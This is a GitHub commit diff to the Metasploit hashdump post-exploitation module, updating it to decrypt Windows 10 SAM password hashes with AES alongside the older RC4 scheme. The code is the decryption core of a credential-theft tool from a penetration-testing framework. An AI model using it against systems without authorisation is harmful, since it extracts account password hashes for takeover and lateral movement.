Skip to content

Commit a01796d

Browse files
committed
Make hashdump module work on Windows 10, fix rapid7#7936
1 parent 9ce0bb9 commit a01796d

File tree

1 file changed

+60
-36
lines changed

1 file changed

+60
-36
lines changed

modules/post/windows/gather/hashdump.rb

Lines changed: 60 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -139,14 +139,29 @@ def capture_hboot_key(bootkey)
139139
vf = vf.data
140140
ok.close
141141

142-
hash = Digest::MD5.new
143-
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
144-
145-
rc4 = OpenSSL::Cipher.new("rc4")
146-
rc4.key = hash.digest
147-
hbootkey = rc4.update(vf[0x80, 32])
148-
hbootkey << rc4.final
149-
return hbootkey
142+
revision = vf[0x68, 4].unpack('V')[0]
143+
144+
if revision == 1
145+
hash = Digest::MD5.new
146+
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
147+
148+
rc4 = OpenSSL::Cipher.new("rc4")
149+
rc4.key = hash.digest
150+
hbootkey = rc4.update(vf[0x80, 32])
151+
hbootkey << rc4.final
152+
return hbootkey
153+
end
154+
155+
if revision == 2
156+
aes = OpenSSL::Cipher.new('aes-128-cbc')
157+
aes.key = bootkey
158+
aes.padding = 0
159+
aes.decrypt
160+
aes.iv = vf[0x78, 16]
161+
return aes.update(vf[0x88, 16]) # we need only 16 bytes
162+
end
163+
164+
raise NotImplementedError, "Unknown hboot_key revision: #{revision}"
150165
end
151166

152167
def capture_user_keys
@@ -200,21 +215,16 @@ def decrypt_user_keys(hbootkey, users)
200215
users.each_key do |rid|
201216
user = users[rid]
202217

203-
hashlm_enc = ""
204-
hashnt_enc = ""
205-
206-
hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
218+
hashlm_off = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
219+
hashlm_len = user[:V][0xa0, 4].unpack("V")[0]
220+
hashlm_enc = user[:V][hashlm_off, hashlm_len]
207221

208-
#Check if hashes exist (if 20, then we've got a hash)
209-
lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false
210-
nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false
222+
hashnt_off = user[:V][0xa8, 4].unpack("V")[0] + 0xcc
223+
hashnt_len = user[:V][0xac, 4].unpack("V")[0]
224+
hashnt_enc = user[:V][hashnt_off, hashnt_len]
211225

212-
#If we have a hashes, then parse them (Note: NT is dependant on LM)
213-
hashlm_enc = user[:V][hoff + 4, 16] if lm_exists
214-
hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists
215-
216-
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
217-
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
226+
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass, @sam_empty_lm)
227+
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass, @sam_empty_nt)
218228
end
219229

220230
users
@@ -241,16 +251,37 @@ def rid_to_key(rid)
241251
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
242252
end
243253

244-
def decrypt_user_hash(rid, hbootkey, enchash, pass)
254+
def decrypt_user_hash(rid, hbootkey, enchash, pass, default)
255+
revision = enchash[2, 2].unpack('v')[0]
245256

246-
if(enchash.empty?)
247-
case pass
248-
when @sam_lmpass
249-
return @sam_empty_lm
250-
when @sam_ntpass
251-
return @sam_empty_nt
257+
if revision == 1
258+
if enchash.length < 20
259+
return default
252260
end
253-
return ""
261+
262+
md5 = Digest::MD5.new
263+
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
264+
265+
rc4 = OpenSSL::Cipher.new('rc4')
266+
rc4.key = md5.digest
267+
okey = rc4.update(enchash[4, 16])
268+
269+
elsif revision == 2
270+
if enchash.length < 40
271+
return default
272+
end
273+
274+
aes = OpenSSL::Cipher.new('aes-128-cbc')
275+
aes.key = hbootkey[0, 16]
276+
aes.padding = 0
277+
aes.decrypt
278+
aes.iv = enchash[8, 16]
279+
okey = aes.update(enchash[24, 16]) # we need only 16 bytes
280+
281+
else
282+
print_error("Unknown user hash revision: #{revision}")
283+
return default
284+
254285
end
255286

256287
des_k1, des_k2 = rid_to_key(rid)
@@ -263,13 +294,6 @@ def decrypt_user_hash(rid, hbootkey, enchash, pass)
263294
d2.padding = 0
264295
d2.key = des_k2
265296

266-
md5 = Digest::MD5.new
267-
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
268-
269-
rc4 = OpenSSL::Cipher.new('rc4')
270-
rc4.key = md5.digest
271-
okey = rc4.update(enchash)
272-
273297
d1o = d1.decrypt.update(okey[0,8])
274298
d1o << d1.final
275299

0 commit comments

Comments
 (0)